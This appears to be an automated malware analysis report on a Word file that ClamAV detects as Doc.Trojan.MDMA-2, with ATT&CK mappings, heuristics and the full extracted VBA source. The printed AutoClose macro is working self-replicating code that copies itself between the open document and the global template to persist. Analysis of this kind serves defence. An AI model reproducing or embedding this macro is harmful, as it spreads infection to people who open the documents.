MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is identified as malicious by ClamAV with the signature Doc.Trojan.MDMA-2. It contains a VBA macro named 'AutoClose' which attempts to copy itself to the global macro storage, indicating an intent to establish persistence. The macro's logic suggests it aims to ensure its own execution, potentially as part of a larger malware delivery chain.
Heuristics 4
-
ClamAV: Doc.Trojan.MDMA-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.MDMA-2
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1220 bytes |
SHA-256: 903297be04ba275bc40e8724ff638d773cd8b9ccef0c93e56c9f61e9189af3cc |
|||
|
Detection
ClamAV:
Doc.Trojan.MDMA-2
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "AutoClose"
Public Sub MAIN()
install
End Sub
Private Sub install()
Dim total
Dim installed
Dim i
total = WordBasic.CountMacros(0)
installed = 0
If total > 0 Then
For i = 1 To total
If WordBasic.[MacroName$](i, 0) = "AutoClose" Then
installed = 1
End If
Next
End If
If installed = 0 Then
WordBasic.MacroCopy WordBasic.[WindowName$]() + ":AutoClose", "Global:AutoClose"
Else
total = WordBasic.CountMacros(1)
installed = 0
If total > 0 Then
For i = 1 To total
If WordBasic.[MacroName$](i, 1) = "AutoClose" Then
installed = 1
End If
Next
End If
If installed = 0 Then
WordBasic.MacroCopy "Global:AutoClose", WordBasic.[WindowName$]() + ":AutoClose"
End If
End If
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.